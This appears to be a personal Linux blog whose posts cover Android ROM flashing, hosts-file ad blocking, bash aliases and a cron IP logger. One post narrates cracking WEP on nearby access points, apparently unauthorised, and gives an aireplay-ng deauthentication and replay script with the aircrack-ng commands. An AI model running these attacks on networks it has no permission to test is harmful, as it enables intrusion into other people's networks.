Thursday, August 5, 2010

Installing Sapphire 1.0 with google aps on moto droid with SPRecovery

Well yesterday, a new release of sapphire for the Motorola Droid hit the Internet. I installed it [link to screenshots]and was VERY impressed. [Sapphire is a from source android build, similar to cyanogen.] So I'll walk through the process that I used to install this awesome rom. Seeing as I am a Linux user, I'm going to go about installing this rom from Linux using only the CLI. This guide assumes that you have root access.

First off, install SPRecovery (if you don't have it).  Next, grab the sapphire rom, the google apps, and the black bar theme (you only need this if you want to have the same setup as my droid). OK, here comes the fun part. Mount your Droid and copy the files to the root of the sdcard. Rename the sapphire rom to 'update.zip' and reboot your Droid into SPRecovery [hold x on the physical keyboard while booting up]. Use the volume up and down buttons to navigate the menus, camera to select, and the power button to go back to the previous menu.
1. Move down one option to 'wipe data/factory reset' and click the camera button.
2. Move up 4 times to select 'yes' and hit the camera button.
3. Then move down to 'install', hit the camera button, move to allow update.zip installation, hit camera again.
4. move down to Install and hit the camera button again.
5. Hit the power button to return to the main menu.
6. select mount options and hit the camera button
7. select enable usb mass storage and mount phone.
8. rename sapphire update to something else and rename sapphire google apps to update.zip and unmount
9. select disable usb mass storage and click the camera button
10. press the power button to return to main menu and repeat steps 3-7
11. rename google apps update to something else and rename black bar theme to update.zip and unmount
12. select disable usb mass storage and click the camera button
13. press the power button to return to main menu and repeat steps 3 and 4

Here are the CLI commands that I used. Enjoy

$ cd ~/src/
$ wget http://files.ccroms.net/download.php?q=sapphire/froyo/1.0.0/release/sapphire-1.0.0-update.zip
$ wget http://files.ccroms.net/download.php?q=sapphire/froyo/1.0.0/release/sapphire-1.0.0-gapps-update.zip
$ wget http://files.ccroms.net/download.php?q=sapphire/froyo/1.0.0/themes/spr/sapphire-1.0.0-black_bar-theme.zip

# mount /dev/sdb1 /mnt/phone
$ cp ~/src/sapphire-1.0.0* /mnt/phone/
$ mv /mnt/phone/sapphire-1.0.0-update.zip /mnt/phone/update.zip
# umount /mnt/phone

# mount /dev/sdb1 /mnt/phone
$ mv /mnt/phone/update.zip /mnt/phone/sapphire-1.0.0-update.zip
$ mv /mnt/phone/sapphire-1.0.0-gapps-update.zip /mnt/phone/update.zip
# umount /mnt/phone

# mount /dev/sdb1 /mnt/phone
$ mv /mnt/phone/update.zip /mnt/phone/sapphire-1.0.0-gapps-update.zip
$ mv /mnt/phone/sapphire-1.0.0-black_bar-theme.zip /mnt/phone/update.zip
# umount /mnt/phone

Sunday, July 25, 2010

So you bricked your Moto Droid.

Ok, so I have this really bad habit of bricking my Droid or loosing root.... you name it, it's probably been inflicted upon my device. So in an effort to keep me from loosing my notes on the subject, here is my Linux based process for un-bricking my Droid. I'm not sure how legal it is to link to roms and such but I don't need those I already have my nandroid backups.

Needed files, SBF_flash and SPRecovery_ESE81.sbf
This is a retarded simple fix. (you can still damage your phone beyond repair blah blah blah...)

Download SBF_flash and SPRecovery_ESE81.sbf [these are the links from CyanogenMod Wiki] Plug in Droid while turned off and then power on while pressing up on the d-pad. This will dump you into the boot loader. Then run './sbf_flash SPRecovery_ESE81.sbf' This will flash the recovery image to your Droid. And now you are done. Congrats you just un-bricked your phone. Now install the Nandroid backup of your choice or install the rom of your choice. Enjoy.

Saturday, July 17, 2010

Android applications that I use

Well everyone else has done it to some extent or another. I'm just going to list the apps that I love, like and just can't live without. As far as the apps that I can't live without, I'll denote those with an (*). I've got a rooted Motorola Droid running the DroidMod rom and a custom kernel.

So here they are in no particular order:

*Appmonster - what I use to backup and store different versions of the apps that I have installed.

*ASE (android scripting environment) - python, perl, and a few other scripting languages on the android platform. It's not python3, but it has run parts of snkmchnb's getcast before. Who needs a GUI pod catcher on android when you have the CLI?

*sipdroid - FOSS VoIP client. It only supports one account at a time, but this is the program that I use for free calling via googlevoice+ipkall+ekiga.

*Bible - online translations of the Bible, newer versions are very bloated. Until an offline version is installed, I run version 1.2

*terminal - does not require an explanation, it's the CLI.

*ConnectBot - SSH client. Allows for more than one ssh session at a time. More control than just terminal.

*drocap2 - root only application that allows for taking screenshots of the device at any time. Can be set to run with a timer or just simply shaking the device. I use it to take all the screenshots that are found on unixporn.

*home++ - replacement home screen that removes the need for the notification bar and has that cool little launcher bar as seen in the above screenshots.

*Google Voice - must have for my free SMS abilities.

*ES File Explorer - file and ftp access, handy for uploading recordings to the ftp directly from the android device.

*G-MoN - war driving

*Maps(-) - openstreetmaps, google maps, opencyclemaps all rolled into one. NO
NAVIGATION. But who needs that anyway?

*overclockwidget - allows me to under and over clock my cpu.

andchat - IRC

audiomanager - for those times when the default audio button just won't cut it.

barcode scanner - yeah

blogger-droid - it's installed but I've never had a reason to use it yet.

Chess - one of the 2 games that have ever been installed on this device.

opensudoku - the other game that's installed.

dPod - *cast catcher until I get getcast or bashpodder working via ASE

DroidLight - use the LEDs like a flashlight.

Dropbox - allows to download stuff from my dropbox account. Does not download folders, which is very annoying.

FBreader - FOSS book reader

mapdroyd + contentdroyd - openstreetmaps cached on the phone. not as up to date as Maps(-) but still useful for area's that you do not have cached.

mustard - identica client

Netcounter - just something that I use to monitor my bandwidth usage of the 3G connection. If you use SIP for your phone calls, this is a MUST.

shopsavvy - bloated app that is kinda fun to play with.

the weather channel - weather... like we need to know anything else about the weather.

wifinder - handy gui for connecting to different access points.


Well that's pretty much everything that I meant to go on about today. If you should happen to read this and have a useful application that I've not listed here, please send me an email at cobra2 {at} unixporn [dot] com. Thanks in advance.

Wednesday, July 7, 2010

Just a reminder about alias

This is just kinda for my crappy memory.

So I was messing around earlier today with a few alias' in bash. I had them all set up for my user in my ~/.bashrc file. Then I logged into root to do something. Tried to use one of my new alias..... FAIL. So I had to do a little reading on how to set an alias for root. I found that I needed to edit /root/.bashrc.
Then I got to thinking. Wouldn't it just be better to have the alias for the whole system rather than just editing each user's .bashrc? So I did a little more reading and found that just editing /etc/bash.bashrc would solve all those problems.

Tuesday, April 20, 2010

Blocking ads and other various websites

Have you ever been to a site that had one of those very annoying embedded ads that just hung at the top or bottom of the page. This 'banner' was just in the way no matter what you did. Have you ever wanted to get rid of it?

I use various browsers when browsing the web, some support adblock and others do not. I'm not a fan of browser plugins. I'm under the firm belief that a browser is a browser and should only deal with the I/O of html. That being said, I don't use adblock, noscript or anything else like that. I use settings in /etc/hosts to block my ads.

So for today's example, turn off your adblock utility and navigate over to www.unixporn.com. Now you should see a very annoying banner ad on every single page, even on the pages where your viewing a screenshot full screen. Lets get rid of this ad.

OK, from the information in the ad, we know that it is hosted by godaddy. So we'll try the easiest thing first, open up the page source, and search for the term 'godaddy'.
lynx -source www.unixporn.com | grep godaddy
this will give you this line:
script language="javascript" src="https://a12.alphagodaddy.com/hosting_ads/gd01.js">



Now that was pretty easy. Lets add this to /etc/hosts.

# echo '127.0.0.1 a12.alphagodaddy.com' >> /etc/hosts

Restart your browser, and navigate back to unixporn. Tada... the ad is gone. Lets add a site to block. I'm not a fan of social networking so this seems appropriate to me. 


# echo '127.0.0.1 myspace.com' >> /etc/hosts
Restart the browser, and navigate to myspace. If all went well, you should get an error about not being able to load the page. Wonderful isn't it?




You can get a head start on adding lists like this to /etc/hosts by browsing through your adblock lists. The really nice thing about blocking ads/websites this way is that unlike using an adblock plugin inside a browser such as firefox or chromium, this is a system wide setting. You no longer have any need to run adblock.

Sunday, April 18, 2010

An afternoon messin with WEP

I was bored this afternoon and decided that I needed to mess around with some WEP cracking. There were quite a few APs around me that were encrypted with WEP keys. It has been a while since I broke out the massive WEP attack book and I thought today would be a good refresher.

So first things first, I checked to make sure that my hardware was setup. I've got a Hawkings Technology HWU8DD usb wireless dish. This device uses the zd1211rw drivers which do not fully support all injection attacks. However, it's more than enough for any WEP attack that I played with today. I tested to make sure the device was working by running # iwlist wlan1 scanning >> scan.log then parsed through those results and picked out the first WEP secured AP that I saw in the list. I wrote down the mac address, the channel and the ESSID of the AP. 00:00:00:00:00:00 6 Secured


I changed directories into my build folder. $ cd ~/src. Then I pulled down the latest aircrack-ng sources from SVN.
$ svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
$ cd aircrack-ng
$ make
# make install
You could also just pull aircrack-ng out of your repos.

Now I was ready to rock and roll. The first thing that I did was to get my device in monitor mode. I know that my device doesn't really have a solid monitor mode, so I have to run # airmon-ng start wlan1 to get it to listen to everything. Now I was ready to play. I fired up vim and made a bash script to spam the AP.

$ vim ~/aircrack.sh
#!/bin/bash
#run as root
# run airmon-ng start $interface
# run airodump-ng in another terminal
essid=

aireplay-ng -e ${essid} -1 10 mon0 &
aireplay-ng -e ${essid} -0 50 mon0 &
aireplay-ng -e ${essid} -3 mon0 &

#end

Changed the essid to the proper name, wrote and saved. I made a 'hack' directory $ mkdir ~/hack to dump all my packet captures into and changed directory into that directory. I fired up airodump-ng to listen to the channel of the AP and dump the IVS to a file and ran my script in another terminal.
# airodump-ng mon0 -i -w Secured -c 6
# /home/user/aircrack.sh
I watched the IVS numbers in airodump-ng climb, waited about a min, and while still attacking the AP ran # aircrack /home/user/hack/Secured*.

I really didn't need to keep running the attack, in less than a minute I had captured enough information to crack the WEP key. I went on to crack 8 more APs in about an hour. Needless to say, if you using WEP expect to be hacked. Switch to something more secure such as WPA2.

Tuesday, February 9, 2010

Another way to use cron to keep a log of your dynamic ip changes.

My cousin moved my desktop/fileserver over to his house and hooked it up to the internet to give me access to it via ssh. He has a dynamic ip from his isp which changes anytime the router is rebooted and at random times through the day. I wanted to both keep track of the ip and keep a log of how often it changed. I didn't think that I could keep the log if I used something like dyndns. I already use dropbox on all my machines, so I thought that this would be an easy way to get the ip back and forth and be accessable anywhere that I might travel. So I wrote a cron job to dump the ip address to a file in my dropbox folder every hour on the hour.

So if your going to do this my way, your going to need to have dropbox, lynx, cron, and some sort of text editor [vim].

I'm running archlinux on my desktop. First, I looked around in /etc for my cron folders and I found these:
  • /etc/cron.daily
  • /etc/cron.hourly
  • /etc/cron.monthly
  • /etc/cron.weekly
Since all I wanted was something to run every hour, I logged into root and ran cd /etc/cron.hourly. Now I used my favorite text editor, vim, to create a new shell script for cron to run, vim ip. Then I pressed 'i' to edit the file. I have used lynx on many the ocassion to browse the web on the command line so I'm familiar with it. This is what I ended up with in my shell script.
#!/bin/bash
#Logs the ip to a file in the dropbox folder
#edit dropbox variable to correct path.
dropbox=

lynx -dump http://www.whatismyip.org >> $dropbox/ip.log

#end of file

Now just type :w and :q, for write and quit. Then change permissions so that cron can execute the script, chmod a+x /etc/cron.hourly/ip. Now give the script a test run /etc/cron.hourly/ip. You can cat the file in dropbox to see if it worked, cat /ip.log.

Enjoy this quick and dirty way to keep track of your ip address.